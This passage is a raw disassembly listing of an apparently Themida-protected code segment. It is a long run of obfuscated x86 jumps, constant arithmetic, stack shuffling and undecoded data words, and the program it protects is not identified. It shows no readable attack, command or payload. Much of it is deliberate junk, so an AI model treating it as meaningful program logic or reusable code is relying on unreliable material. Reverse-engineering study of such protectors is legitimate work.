CODE XREF: Themida_:0058A50Bj sub ebp, 0E4162131h jmp loc_58FC97 ; --------------------------------------------------------------------------- db 29h dd 6B5E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B70E: ; CODE XREF: Themida_:0058B85Cj mov ecx, 6D6E3C0Dh jmp loc_5867B0 ; --------------------------------------------------------------------------- dd 0DCABA52h, 0D7215D6Dh, 0AEF815Ah, 89080904h, 243C8BF8h dd 0FFF0FCE9h, 240C89FFh, 4B9h, 244C0100h, 815F5904h, 4C7h dd 585B6800h, 0B1E90000h, 81FFFFC7h, 2C2h, 24148700h, 0D324248Bh dd 0E99C2404h, 0FFFF8D0Fh dword_58B764 dd 0E924048Bh, 0FFFFE0C3h, 35C3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B772: ; CODE XREF: Themida_:00585F9Fj sub esp, 4 mov [esp], edx mov dh, 9 shl dh, 6 shl dh, 7 inc dh xor dh, 0B4h and dh, 0CBh xor dh, 0AEh xor bl, dh jmp loc_5902E1 ; --------------------------------------------------------------------------- word_58B792 dw 0AD66h ; DATA XREF: Themida_:005842B8o dd 4BE6866h, 240C8966h, 7740B966h, 66C80166h, 9AE6E959h dd 0E957FFFFh, 2F43h dword_58B7B0 dd 0E92C77FFh, 0FFFF8CBBh, 885B585Bh, 0C8B870Ch, 4C48124h ; DATA XREF: Themida_:00584400o dd 0E9000000h, 0FFFF8CA7h ; --------------------------------------------------------------------------- loc_58B7CC: ; CODE XREF: Themida_:0058DA2Cj push edi jmp loc_58D4D6 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0E80AEF81h, 0F901FB57h, 4A6E9h db 0 ; --------------------------------------------------------------------------- loc_58B7E1: ; CODE XREF: Themida_:00587A7Aj add esi, 29663725h sub esi, ebp sub esi, 29663725h mov ebp, [esp] push ebp jmp loc_58FBCF ; --------------------------------------------------------------------------- dd 2C2815Fh, 87000000h, 248B2414h, 0E9C33024h, 0FFFFB8CEh ; --------------------------------------------------------------------------- loc_58B80C: ; CODE XREF: Themida_:0058CB43j add edx, 4A546E0Eh mov ebp, [esp] add esp, 4 push ecx mov ecx, 4 add edx, ecx pop ecx xchg edx, [esp] jmp loc_58E2F0 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FFC448E9h, 48B59FFh, 0D9C4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B83A: ; CODE XREF: Themida_:0058CAC7j add dword ptr [esp+8], 70C4131Fh sub [esp+8], ebp sub dword ptr [esp+8], 70C4131Fh pop ebp sub dword ptr [esp+4], 6D6E3C0Dh add [esp+4], ebp push ecx jmp loc_58B70E ; --------------------------------------------------------------------------- loc_58B861: ; CODE XREF: Themida_:0058839Bj push eax mov ecx, [esp] add esp, 4 jmp loc_58E187 ; --------------------------------------------------------------------------- loc_58B870: ; CODE XREF: Themida_:00589B79j mov esi, ecx pop ecx add dword ptr [esp+4], 2B395AD7h sub [esp+4], esi jmp loc_58A75B ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812404h, 4, 473968h, 1663E900h, 0F1810000h dd 7804459Bh, 9D50F181h, 0CB0185FAh, 86C78159h, 0E949AE23h dd 0FFFF9BDAh dword_58B8B4 dd 8B2434FFh, 5457240Ch, 4C7815Fh, 81000000h, 4EFh, 0E018E900h ; DATA XREF: Themida_:00584238o db 2 dup(0FFh) word_58B8CE dw 48Bh ; DATA XREF: Themida_:005842C8o dd 0F0F2E924h, 0C301FFFFh, 17D4EB81h, 76E9154Eh db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B8E3: ; CODE XREF: Themida_:00585F82j push ebx mov ebx, 5E535EDEh jmp loc_58BC56 ; --------------------------------------------------------------------------- dw 5F05h dd 484DEE63h, 2414F750h, 0F88AE958h, 24D2FFFFh, 0E2E99C24h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B907: ; CODE XREF: Themida_:0058C9FDj or eax, eax jz loc_58FED3 push dword ptr [edi+28h] jmp loc_58E7BF ; --------------------------------------------------------------------------- db 28h dd 3C8A243Ch, 0DD52E924h, 0FC05FFFFh, 1D5F950h, 1BEAE9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B92E: ; CODE XREF: Themida_:00585468j add edi, ebx pop ebx push eax mov eax, 4 jmp loc_58786D ; --------------------------------------------------------------------------- dd 0E100E4B1h, 8E9C058h, 5080B252h, 0E200B1B4h, 8BD12058h dd 0C4812414h, 4, 53BAE980h, 0CBF3E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B962: ; CODE XREF: Themida_:00590503j push dword ptr [esp] pop ecx push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5872C5 ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 4EC8124h, 89000000h, 16682434h, 89000056h dd 4832424h, 0A4E90424h, 0BEFFFFD2h, 39A66459h, 0F681DEF7h dd 5CE371C0h, 0E9D6F746h, 1EEBh, 0E9FB0158h, 0FFFFA81Eh ; --------------------------------------------------------------------------- loc_58B9B4: ; CODE XREF: Themida_:00585701j mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_586C75 ; --------------------------------------------------------------------------- dd 5C243C33h, 9CC88566h, 0FF8A9EE9h, 12E95EFFh db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B9DB: ; CODE XREF: Themida_:00585A84j shr edx, 1 cmp eax, edx jz loc_58853E push 104Dh mov [esp], ecx mov ecx, 2E2B43F2h and ecx, 0E610DF8h push eax jmp loc_584B0F ; --------------------------------------------------------------------------- word_58B9FE dw 8B66h ; DATA XREF: Themida_:00584320o dd 8957240Ch, 0EABB53E7h, 8331245Ch, 0EB8101EBh, 1A193E52h dd 4BADCB81h, 0EBC117D0h, 0C3BE5604h, 0C15A3075h, 0D6F704E6h dd 4AADC681h, 0C6817800h, 2C84C77Bh, 15EF329h, 0E38BE9DFh dd 0EC83FFFFh, 24048904h, 468h, 0C2815800h, 57685119h dd 0EA81C201h, 57685119h, 4C28358h, 0FFCF81E9h, 241C8BFFh dd 0E904C483h, 1597h dword_58BA6C dd 24048B66h, 9804E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BA76: ; CODE XREF: Themida_:005905DDj pop edx add esp, 4 pop dword ptr [esp] push 783Dh mov [esp], edx xchg eax, [esp] not eax jmp loc_58A556 ; --------------------------------------------------------------------------- dw 0C381h dd 4B9A5AD4h, 0EB81EB01h, 4B9A5AD4h, 6366B850h, 0C3291ACBh dd 0C3835D58h, 763D6804h, 1C890000h, 2474FF24h, 241C8B04h dd 4C481h, 48F0000h, 46E95C24h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BACB: ; CODE XREF: Themida_:0058EE79j add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_58B2F4 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 2657E924h, 0E9810000h, 2DE8018Bh, 53C7E981h dd 0D1014FC2h, 53C7C181h, 0C1814FC2h, 2DE8018Bh, 0FFDF84E9h db 0FFh byte_58BB09 db 68h, 71h, 3Eh ; DATA XREF: Themida_:005841D8o dd 2C890000h, 4EC8124h, 89000000h, 4812424h, 424h, 0EB80E900h dd 0D8F7FFFFh, 2D67B951h, 8141761Dh, 0A672DEF1h, 19C1812Dh dd 4140971Ch, 0F181D9F7h, 3333CA73h, 7CE9C829h, 51FFFFF1h dd 46E9E189h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BB53: ; CODE XREF: Themida_:0058B417j mov ecx, [esp] push edi jmp loc_58531A ; --------------------------------------------------------------------------- dd 0B9240C89h, 261E13B5h, 4101E983h, 12F0C981h, 0A6E977DDh dd 5200001Bh, 0B54EB8BAh, 0B5C1E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BB7E: ; CODE XREF: Themida_:0058AEFAj pop eax xor ecx, ebp mov ebp, [esp] add esp, 4 push 5008h mov [esp], ebp jmp loc_58DE89 ; --------------------------------------------------------------------------- dword_58BB94 dd 24048B66h, 81E18951h, 4C1h, 6EE95700h, 58000003h, 4187E9h ; DATA XREF: Themida_:005842E4o dd 6E28BA00h, 554A2C8Bh, 0FF8FC3E9h db 0FFh byte_58BBB9 db 64h, 8Fh, 2 ; DATA XREF: Themida_:005841D0o dd 0FF88B2E9h, 76C381FFh, 2192FD05h, 1AE95BDEh, 50FFFFD5h dd 42474FFh, 24048F58h, 0FFB6BFE9h, 0C3815BFFh, 4, 4C381h dd 0FF530000h, 5B042474h, 5C24048Fh, 1267E9h, 0B9515700h dd 50A35A2Dh, 0E959CF89h, 0FFFFB171h ; --------------------------------------------------------------------------- loc_58BC08: ; CODE XREF: Themida_:00587D1Aj sub edx, 408826BCh pop ebx jmp loc_589AE3 ; --------------------------------------------------------------------------- loc_58BC14: ; CODE XREF: Themida_:0058756Fj push dword ptr [esp] pop ecx push 2C4h mov [esp], esi push esp pop esi push eax push 4 pop eax jmp loc_589433 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FF8E42E9h, 241C89FFh, 2595E9h db 0 ; --------------------------------------------------------------------------- loc_58BC41: ; CODE XREF: Themida_:00589FDCj pop esp shr eax, 12h xor eax, ecx push eax jmp loc_58E28C ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 0C7E3E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BC56: ; CODE XREF: Themida_:0058B8E9j dec ebx add ebx, 2CBA76BFh add ebx, 74F22A68h jmp loc_58AB33 ; --------------------------------------------------------------------------- a13Su db '1<$3<$éU,',0 db 0 ; --------------------------------------------------------------------------- loc_58BC73: ; CODE XREF: Themida_:00589283j push ebx not dword ptr [esp] pop ebx jmp loc_58DFC9 ; --------------------------------------------------------------------------- db 0BDh, 1Ah, 32h dd 6FE92E87h, 5F000015h, 89CE8956h, 50595EF0h, 433AE9h db 0 ; --------------------------------------------------------------------------- loc_58BC95: ; CODE XREF: Themida_:0058BDBEj pop esp mov [esp], eax push esp pop eax push ebx jmp loc_58D0E3 ; --------------------------------------------------------------------------- db 81h, 0C6h, 40h dd 5D0B9237h, 0FFFA47E9h, 0D0C0B2FFh, 536650EAh, 8852DEB3h dd 5AD088DAh, 0DA2C5B66h, 7BB15166h, 185AE951h, 0EB810000h dd 5F2673AAh, 0C381C329h, 5F2673AAh, 7C8CC381h, 0DEE90FDAh dd 5300000Eh, 0E3B75350h, 5197C780h, 0FFEAABE9h db 0FFh ; --------------------------------------------------------------------------- loc_58BCF1: ; CODE XREF: Themida_:00589A48j sub esp, 4 mov [esp], edi mov edi, esp jmp loc_58E817 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 81000000h, 0D86CEAEFh, 44DAE96Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BD12: ; CODE XREF: Themida_:00587908j xor ecx, 23D554CEh jmp loc_58BE0D ; --------------------------------------------------------------------------- byte_58BD1D db 0ADh, 2Dh, 93h ; DATA XREF: Themida_:00584220o dd 52757974h, 854E1ABAh, 0DAD5E931h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BD2E: ; CODE XREF: Themida_:0058E2F3j jmp loc_584473 ; --------------------------------------------------------------------------- aBigpwyh db 'ëgpwyh*',0Ah,0 align 2 dw 3489h dd 2248BE24h, 0E953086Ch, 0FFFFA4DDh, 5D494505h, 2DC8010Ah dd 0A5D4945h, 52240C8Bh, 0C2815A54h, 4, 6EC68h, 243C8900h dd 8639C0BFh, 7E7C12Ch, 1324E9h, 0CFBA5200h, 4A25021Eh dd 0FFC4D5E9h, 0DFAB05FFh, 0E0E9FFBFh, 5FFFFD3h, 47946437h dd 4055Fh, 1CE90000h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BD9F: ; CODE XREF: Themida_:0058FBE0j mov ecx, 15A00E60h add ecx, 1 push eax jmp loc_58A705 ; --------------------------------------------------------------------------- dd 0E9D3F743h, 0FFFFE5E0h ; --------------------------------------------------------------------------- loc_58BDB8: ; CODE XREF: Themida_:0058795Aj sub ebp, 4 xchg ebp, [esp] jmp loc_58BC95 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 0DBC38104h, 812E1163h, 31AD8CBh, 66F3816Ah dd 0E97D4338h, 32A8h, 0C3305A66h, 0E9C0B60Fh, 0FFFFDBBAh dd 0E9E38953h, 88Ah, 242C8B54h, 3654E9h, 5DE82900h, 9AE9C201h dd 51FFFFD3h, 4A8E9h db 0 ; --------------------------------------------------------------------------- loc_58BE0D: ; CODE XREF: Themida_:0058BD18j sub ecx, 86C9DD62h add edi, ecx pop ecx add ebp, edi pop edi jmp loc_58784B ; --------------------------------------------------------------------------- dw 0A8BDh dd 29D94564h, 240C8BCDh, 4C481h, 55510000h, 69243481h dd 593E3D23h, 2369F181h, 81513E3Dh, 77BB242Ch, 815E036Ch dd 6C77BBC6h, 4E5D5903h, 3867F681h, 0F03147B4h, 8124348Bh dd 4C4h, 896BE900h, 0C481FFFFh, 4, 48D368h, 242C8900h dd 582434FFh, 815D5455h, 4C5h, 4C58100h, 87000000h, 8B5C242Ch dd 0C483242Ch, 85DDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BE96: ; CODE XREF: Themida_:005888D1j push 32F9h mov [esp], ecx jmp loc_587567 ; --------------------------------------------------------------------------- loc_58BEA3: ; CODE XREF: Themida_:0058CCE1j pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58D54D ; --------------------------------------------------------------------------- db 81h, 0C3h, 2 dd 33000000h, 1C31241Ch, 241C3324h, 0D324248Bh, 0E99C240Ch dd 0FFFF859Fh ; --------------------------------------------------------------------------- loc_58BED4: ; CODE XREF: Themida_:005885F6j add eax, ecx jmp loc_58CAB8 ; --------------------------------------------------------------------------- loc_58BEDB: ; CODE XREF: Themida_:00587A39j push 7D9Bh mov [esp], ebp jmp loc_584A95 ; --------------------------------------------------------------------------- dd 4C4815Dh, 81000000h, 4EFh, 243C3300h, 0E9243C31h, 570h dd 0F07C380h, 88E9C0B6h, 88000004h, 58C688C8h, 3D8AE9h dd 3733BF00h, 0BD557842h, 718A7BCCh, 0C15DEF29h, 0EF8108E7h dd 0B7BB66FCh, 2AADE9h db 0 ; --------------------------------------------------------------------------- loc_58BF31: ; CODE XREF: Themida_:0058C630j inc edx and edx, 6C87219Eh jmp loc_5888AB ; --------------------------------------------------------------------------- loc_58BF3D: ; CODE XREF: Themida_:0058C18Fj mov esp, [esp] mov [esp], ebp mov ebp, 40000h and eax, ebp push dword ptr [esp] pop ebp jmp loc_589FC2 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0E9505166h, 0FFFF9595h ; --------------------------------------------------------------------------- loc_58BF64: ; CODE XREF: Themida_:00585CF9j add esp, 4 or eax, eax jz loc_588FB5 sub esp, 4 mov [esp], eax mov eax, 1Ch jmp loc_5878C0 ; --------------------------------------------------------------------------- dw 3C87h dd 14895C24h, 0DC7EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BF8E: ; CODE XREF: Themida_:0058FAE4j xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_584757 ; --------------------------------------------------------------------------- dd 9655FABAh, 8BEA810Eh, 0F7575427h, 3EAC1D2h, 3EAC14Ah dd 13E5C281h, 0D3894085h, 57D3F75Ah, 3049FABFh, 2271E90Fh dd 0D8280000h, 712CA304h, 83241C8Bh, 0E0D004C4h, 803FB753h dd 0C7FEE1F7h, 0EFD0D7F6h, 30D6EF80h, 32C7E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BFEE: ; CODE XREF: Themida_:00585E55j xchg ecx, [esp] pop esp jmp loc_584D77 ; --------------------------------------------------------------------------- loc_58BFF7: ; CODE XREF: Themida_:0058E8DAj add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi pop dword ptr [edi+24h] mov esi, [esp] jmp loc_58CA48 ; --------------------------------------------------------------------------- dd 3304C483h, 2C31242Ch, 242C3324h, 0C8B665Ch, 0A67AE924h dd 0C608FFFFh, 80C6FE58h, 53E9AAF6h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C037: ; CODE XREF: Themida_:0058C4B5j add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_589BBB ; --------------------------------------------------------------------------- dd 3BFC8705h, 7CEF817Dh, 0E93F4E32h, 15C6h ; --------------------------------------------------------------------------- loc_58C060: ; CODE XREF: Themida_:0058A2BCj sub esp, 4 mov [esp], ecx jmp loc_588429 ; --------------------------------------------------------------------------- dw 4BEh dd 0E9000000h, 0FFFFF32Eh, 8924248Bh, 4832424h, 0ECE90424h dd 31FFFF83h, 14332414h, 1D685C24h, 89000016h, 0E589242Ch dd 0FFD0F1E9h, 4C583FFh, 5C242C87h, 6866D800h, 896644BAh dd 0EDB1240Ch, 0AE95904h db 29h, 2 dup(0) byte_58C0B7 db 56h ; DATA XREF: Themida_:0058423Co dd 0B75AE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C0BE: ; CODE XREF: Themida_:00586415j add ecx, esi add ecx, 5D7B3690h pop esi xchg ecx, [esp] pop esp shr eax, 0Eh xor eax, ecx sub esp, 4 jmp loc_585582 ; --------------------------------------------------------------------------- align 4 dd 405E9C3h, 0E1890000h, 4C181h, 0C1830000h, 240C3304h dd 33240C31h, 525C240Ch, 6686BD55h, 0F58119F7h, 64B06EACh dd 0E37E953h, 0D25C0000h, 0E99C240Ch, 0FFFF835Fh ; --------------------------------------------------------------------------- loc_58C114: ; CODE XREF: Themida_:0058D612j pop esp xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_584473 ; --------------------------------------------------------------------------- dw 0AFBFh dd 0E951202Fh, 0FFFFAAB5h aM0Hdr db '¬0Øh„r',0 ; DATA XREF: Themida_:0058428Co align 4 dd 66240C89h, 0E936B450h, 4125h, 0A7AED81h, 50E90F0Eh dd 80000042h, 0FA0875C7h, 88C2805Bh, 0FFEB82E9h, 0D9B850FFh dd 1329B53h, 8F6658C3h, 8309E900h, 1433FFFFh, 0C2815C24h dd 4, 1EC1E9h db 0 ; --------------------------------------------------------------------------- loc_58C179: ; CODE XREF: Themida_:00588EA8j mov edi, [esp] add esp, 4 push edx push esi pop edx mov eax, edx jmp loc_584B48 ; --------------------------------------------------------------------------- loc_58C189: ; CODE XREF: Themida_:00584B5Aj sub ecx, 4 xchg ecx, [esp] jmp loc_58BF3D ; --------------------------------------------------------------------------- aWss db 'Wé˜)',0 align 2 loc_58C19A: ; CODE XREF: Themida_:0058F6BCj push ecx push esp pop ecx push ebx mov ebx, 4 add ecx, ebx jmp loc_5848F8 ; --------------------------------------------------------------------------- dw 8F5Eh dd 7CE92404h, 83000041h, 0C8904ECh, 2BC3B924h, 0CF0920BEh dd 8DE78159h, 815C0C62h, 0D807CBF7h, 71EF8138h, 29063911h dd 0C3815FFBh, 154E17D4h, 0FFF6F5E9h, 24348BFFh, 8104C483h dd 137351E6h, 81D6F765h, 70306C6h, 5DE93Ah, 57510000h dd 1F94E9h, 0C7815C00h, 4, 0FF90E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_58C20D: ; CODE XREF: Themida_:0058E3A4j sub [edi+20h], ebp jmp loc_58D82C ; --------------------------------------------------------------------------- loc_58C215: ; CODE XREF: Themida_:005878EFj push edx mov dh, 91h sub bl, dh pop edx jmp loc_5851E5 ; --------------------------------------------------------------------------- loc_58C220: ; CODE XREF: Themida_:005876C2j pop edi push ebp push eax mov eax, 4 sub esp, 4 mov [esp], ecx mov ecx, eax mov ebp, ecx pop ecx jmp loc_586347 ; --------------------------------------------------------------------------- db 31h dd 7E9243Ch, 29FFFF8Eh, 7B8E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C24A: ; CODE XREF: Themida_:00584D1Cj push 3FECh mov [esp], eax jmp loc_587A32 ; --------------------------------------------------------------------------- db 81h dd 42B7BCEEh, 0B3ADE987h, 0EA87FFFFh, 0EEE9D5F7h, 5900000Eh dd 2C781h, 3C330000h, 1C7DE924h, 0EA810000h, 6F70AB5h dd 0C281EAD1h, 0A6B126BFh, 5C2A1E05h, 0E9D0012Ah, 3823h dd 3D75C281h, 0EA816BE4h, 3E322013h, 0FF81CEE9h, 0FEE955FFh db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C2AB: ; CODE XREF: Themida_:005863BDj mov ebx, 6B4F36C1h jmp loc_58F87D ; --------------------------------------------------------------------------- db 0B9h, 7, 1 dd 0BA521AB2h, 5237E8Fh, 0C15AD129h, 0C18106E9h, 4FE50201h dd 0D276C181h, 0CB01CD81h, 5BD98959h, 57665805h, 56C80169h dd 0FF8231E9h, 243487FFh, 5224248Bh, 0EEC01AB6h, 68C6FE08h dd 0 dd 8A243428h, 0E9532434h, 1521h, 4EC835Eh, 0B8240489h dd 2, 5358C301h, 42474FFh, 24048F5Bh, 0E924248Bh, 0FFFFE102h ; --------------------------------------------------------------------------- loc_58C324: ; CODE XREF: Themida_:0058EF65j shl edx, 1 push edi mov edi, esp jmp loc_58F3DC ; --------------------------------------------------------------------------- dw 8F5Fh dd 248B2404h, 4016624h, 34E99C24h, 0BDFFFF81h, 2, 0EF5C681h dd 0EE01602Bh, 0EF5EE81h, 34FF602Bh, 18C7E924h, 0CB290000h dd 0FF9B59E9h db 0FFh byte_58C361 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00584258o dd 0E7895724h, 0ABBE5655h, 812AD96Bh, 7D773CCEh, 2910E975h dd 0FEBA0000h, 21000000h, 34FF1C57h, 0D3D5E924h, 0DF21FFFFh dd 62E9575Bh, 0FFFFFFA8h, 0D8E98734h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C39B: ; CODE XREF: Themida_:0058B152j add ebp, eax pop eax jmp loc_5861AF ; --------------------------------------------------------------------------- db 83h dd 0B35304C4h, 0C0CBFE1Eh, 0CBFE07EBh, 80FBEB80h, 0EB80DCCBh dd 0E9D80084h, 0FFFFC144h ; --------------------------------------------------------------------------- loc_58C3C0: ; CODE XREF: Themida_:00586963j mov [esp], ebp mov ebp, 4AC50865h jmp loc_585B1F ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 68BE9h db 0 ; --------------------------------------------------------------------------- loc_58C3D5: ; CODE XREF: Themida_:00588EF1j mov esi, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_5872F8 push dword ptr [edi+1Ch] push 497Ch jmp loc_590613 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8304C483h, 53E904C4h, 400002Ch, 2CF02805h, 50B65205h dd 8029C680h, 0C680C0CEh, 0B7C6807Ah, 8007E6C0h, 0F028AFEEh dd 0D8285A5Ah, 2943E9h, 4C38100h, 52000000h, 0C281E289h dd 4, 264EE9h, 7FED8100h, 4D293B25h, 0CD81EDD1h, 662E7F2Ah dd 0FFD3FEE9h, 1C5F09FFh, 0E9241C8Bh, 0FFFFA174h, 0B850515Fh dd 2DC7623Bh, 0E958C189h, 0FFFF876Eh, 5C243C33h, 0E9240489h dd 0FFFFAA51h, 8B04C483h, 0C483240Ch, 14C68004h, 0E95AF030h dd 0FFFF8FDDh dword_58C490 dd 64E951ACh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C497: ; CODE XREF: Themida_:0058E3D5j add esp, 4 jmp loc_58683D ; --------------------------------------------------------------------------- aMsOh db '¬S³oh{]',0 ; DATA XREF: Themida_:0058425Co dw 8900h dd 0EBE9240Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C4B3: ; CODE XREF: Themida_:0058574Dj push esp pop eax jmp loc_58C037 ; --------------------------------------------------------------------------- dw 895Ch dd 0C5B02404h, 0FFAB62E9h, 242C87FFh, 73D6685Ch, 4890000h dd 5E08924h, 4, 24A1E9h, 9C2CBF00h, 0F8E94D94h, 68000022h dd 0EAh, 14E9E9h, 42DAF700h, 0FD80E94Ah, 835DFFFFh, 3C8904ECh dd 5683BF24h, 0F7815492h, 67F40594h, 0C14F4F47h, 0EF8104E7h dd 0C71B2EF5h, 0FFC1E0E9h, 4BA52FFh, 0E9000000h, 0FFFFE670h dd 0D564F125h, 0E0D14028h, 0DD0D6025h, 0D7BA5257h, 31528113h dd 0C2315AD0h, 8EAC158h, 1E99E281h, 0E9517886h, 0FFFFECF5h dd 24048966h, 0FF7F1AE9h, 4C481FFh, 2D000000h, 65680CA5h dd 7DC68h, 241C8900h, 0DFC6F4BBh, 0FFD83123h, 34FF2434h dd 241C8B24h, 0E9E28952h, 0FFFFFC76h, 5F49C181h, 0D6E9060Ah db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C58F: ; CODE XREF: Themida_:00585589j not dword ptr [esp] pop ebx push ebx push dword ptr [esp+4] mov ebx, [esp] push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_584EC0 ; --------------------------------------------------------------------------- db 53h dd 241C8B5Ah, 8104C483h, 8A5D3FEBh, 81D3014Bh, 8A5D3FC3h dd 67E95A4Bh, 57000026h, 805EE951h, 8058FFFFh, 0DE2866C3h dd 0FFEE0DE9h, 0EC835CFFh, 243C8904h, 4EC81h, 8DE90000h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C5EF: ; CODE XREF: Themida_:00585214j or edx, eax shl edx, 1 jmp loc_589E33 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 5BE95200h, 5FFFF80h, 4, 5C240487h dd 74A68h, 240C8900h, 7E2D3FB9h, 3BF1816Eh, 16E7E2Dh, 0FC41E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C62A: ; CODE XREF: Themida_:0058FDFAj mov edx, 3BF77DAFh inc edx jmp loc_58BF31 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0F0E95450h, 8900002Dh, 0E95B5EF0h, 0FFFF7E2Bh, 5750BE56h dd 0C68116C0h, 56FD0AD4h, 348BF001h, 4C48124h, 29000000h dd 62242DF8h, 34FF6DBDh, 89565F24h, 4C681E6h, 83000000h dd 348704C6h, 0D5A5E924h, 0C381FFFFh, 4, 0B80E9h, 56575900h dd 1AD3E951h, 0D9F70000h, 8108E9C1h, 0DF1A10E1h, 0AAE98140h dd 89A2EEF2h, 0E68159CEh, 6CDC565Ah, 8105EEC1h, 816075C6h dd 93BB534Fh, 3151E560h, 822D5BDEh, 53776452h, 0C7575DBBh dd 8BD8295Fh, 0C481241Ch, 4, 5D05F001h, 0E95FC757h, 2D84h ; --------------------------------------------------------------------------- loc_58C6E0: ; CODE XREF: Themida_:0058D7E2j pop edi sub esi, 7F161C74h add esi, eax add esi, 7F161C74h add esi, 417B4A06h push 0E89h jmp loc_589BFE ; --------------------------------------------------------------------------- db 68h dd 78682E1Eh, 81241C8Bh, 4C4h, 3EBC100h, 0D48BEB81h, 74E9A5CDh dd 81FFFFE7h, 0EF2685EEh, 2E07E96Bh, 2BB0000h, 1000000h dd 95E95BD9h, 2D000035h, 0FFFFFFFFh, 3B0FC835h, 0C1D8F70Dh dd 0BB5307E8h, 7DE17615h, 895BD829h, 0C38158C3h, 201227BFh dd 0EB81FB01h, 201227BFh, 1010E9h db 0 ; --------------------------------------------------------------------------- loc_58C761: ; CODE XREF: Themida_:0058625Bj mov ebx, 0 add ebx, ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov cl, al mov [ebx], cl jmp loc_588A70 ; --------------------------------------------------------------------------- loc_58C784: ; CODE XREF: Themida_:0058DFDEj xchg ebp, [esp] pop esp jmp loc_58A37C ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 42474FFh, 0E9240C8Bh, 0FFFFB8E1h ; --------------------------------------------------------------------------- loc_58C79C: ; CODE XREF: Themida_:00584920j mov ebx, esp push edi mov edi, 1B486B90h jmp loc_58F191 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81242C8Bh, 4C4h, 4C48100h, 81000000h, 4C3h, 241C8700h dd 2C54E9h, 815F5400h, 4C7h, 4C78300h, 0FFD4C0E9h, 21C580FFh dd 0FFBD7DE9h, 4C483FFh, 4C481h, 0E9530000h, 0FFFFC5A3h dd 0E924048Bh, 0FFFF9809h, 4C681h, 18E90000h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C803: ; CODE XREF: Themida_:0058D4D1j jmp loc_58853E ; --------------------------------------------------------------------------- loc_58C808: ; CODE XREF: Themida_:0058A763j mov esi, [esp] push ecx jmp loc_5896AB ; --------------------------------------------------------------------------- db 89h, 0FBh, 0E9h dd 174h ; --------------------------------------------------------------------------- loc_58C818: ; CODE XREF: Themida_:00585AB2j add edx, 4 xchg edx, [esp] mov esp, [esp] push ebp mov ebp, esp push eax jmp loc_58B14D ; --------------------------------------------------------------------------- aNh db 'h`]',0 ; DATA XREF: Themida_:00584380o align 10h dd 0BA241489h, 3F51101Eh, 68h, 24142900h, 0CAF2815Ah, 816DB727h dd 0DD51B4EAh, 0CA814A34h, 321B2784h, 0DE03BE56h, 0F201E810h dd 8BD0295Eh, 0E1E92414h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C867: ; CODE XREF: Themida_:0058FF44j pop ebx sub esp, 4 mov [esp], edx jmp loc_587DB4 ; --------------------------------------------------------------------------- loc_58C876: ; CODE XREF: Themida_:0059064Aj mov ch, 7Ch neg ch sub ch, 0F3h sub ch, 0B4h add ch, 1Fh add ch, 0E1h add bh, 0E0h add bh, ch sub bh, 